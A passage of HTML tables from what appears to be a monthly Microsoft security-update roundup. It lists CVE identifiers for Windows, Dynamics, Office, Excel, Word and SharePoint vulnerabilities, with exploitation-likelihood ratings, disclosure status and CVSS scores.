Likely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49176">CVE-2026-49176</a></td><td><p>Windows WalletService Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49800">CVE-2026-49800</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50480">CVE-2026-50480</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56173">CVE-2026-56173</a></td><td><p>Windows WebView Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58632">CVE-2026-58632</a></td><td><p>Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54107">CVE-2026-54107</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54986">CVE-2026-54986</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54112">CVE-2026-54112</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54114">CVE-2026-54114</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50670">CVE-2026-50670</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50688">CVE-2026-50688</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56176">CVE-2026-56176</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58628">CVE-2026-58628</a></td><td><p>Windows Wireless Network Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50509">CVE-2026-50509</a></td><td><p>Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>Microsoft Dynamics vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55944">CVE-2026-55944</a></td><td><p>Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><h3>Microsoft Office vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50678">CVE-2026-50678</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54988">CVE-2026-54988</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48580">CVE-2026-48580</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50408">CVE-2026-50408</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55046">CVE-2026-55046</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55138">CVE-2026-55138</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55054">CVE-2026-55054</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55122">CVE-2026-55122</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55898">CVE-2026-55898</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50675">CVE-2026-50675</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55899">CVE-2026-55899</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55948">CVE-2026-55948</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58618">CVE-2026-58618</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47642">CVE-2026-47642</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55024">CVE-2026-55024</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55025">CVE-2026-55025</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55031">CVE-2026-55031</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55048">CVE-2026-55048</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55029">CVE-2026-55029</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55039">CVE-2026-55039</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55041">CVE-2026-55041</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55136">CVE-2026-55136</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55141">CVE-2026-55141</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55036">CVE-2026-55036</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55044">CVE-2026-55044</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55037">CVE-2026-55037</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55058">CVE-2026-55058</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55137">CVE-2026-55137</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55053">CVE-2026-55053</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55131">CVE-2026-55131</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54131">CVE-2026-54131</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55947">CVE-2026-55947</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55949">CVE-2026-55949</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56156">CVE-2026-56156</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56193">CVE-2026-56193</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55023">CVE-2026-55023</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55026">CVE-2026-55026</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55027">CVE-2026-55027</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55028">CVE-2026-55028</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55047">CVE-2026-55047</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55035">CVE-2026-55035</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55057">CVE-2026-55057</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55042">CVE-2026-55042</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55139">CVE-2026-55139</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50665">CVE-2026-50665</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56192">CVE-2026-56192</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56195">CVE-2026-56195</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55121">CVE-2026-55121</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47290">CVE-2026-47290</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50301">CVE-2026-50301</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50314">CVE-2026-50314</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50467">CVE-2026-50467</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55017">CVE-2026-55017</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55018">CVE-2026-55018</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55022">CVE-2026-55022</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55125">CVE-2026-55125</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55045">CVE-2026-55045</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55049">CVE-2026-55049</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55129">CVE-2026-55129</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55056">CVE-2026-55056</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55140">CVE-2026-55140</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55133">CVE-2026-55133</a></td><td><p>Microsoft OneNote Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55043">CVE-2026-55043</a></td><td><p>Microsoft PowerPoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55123">CVE-2026-55123</a></td><td><p>Microsoft PowerPoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55120">CVE-2026-55120</a></td><td><p>Microsoft PowerPoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55052">CVE-2026-55052</a></td><td><p>Microsoft SharePoint Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58277">CVE-2026-58277</a></td><td><p>Microsoft SharePoint Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50522">CVE-2026-50522</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58644">CVE-2026-58644</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56164">CVE-2026-56164</a></td><td><p>Microsoft SharePoint Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55051">CVE-2026-55051</a></td><td><p>Microsoft SharePoint Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55040">CVE-2026-55040</a></td><td><p>Microsoft SharePoint Server Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54108">CVE-2026-54108</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55016">CVE-2026-55016</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55019">CVE-2026-55019</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55020">CVE-2026-55020</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55021">CVE-2026-55021</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55030">CVE-2026-55030</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55034">CVE-2026-55034</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55126">CVE-2026-55126</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55135">CVE-2026-55135</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56157">CVE-2026-56157</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55050">CVE-2026-55050</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55124">CVE-2026-55124</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55142">CVE-2026-55142</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55032">CVE-2026-55032</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55033">CVE-2026-55033</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55127">CVE-2026-55127</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55055">CVE-2026-55055</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55038">CVE-2026-55038</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55132">CVE-2026-55132</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55134">CVE-2026-55134</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55128">CVE-2026-55128</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55130">CVE-2026-55130</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50387">CVE-2026-50387</a></td><td><p>Windows GDI Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>Open Source Software 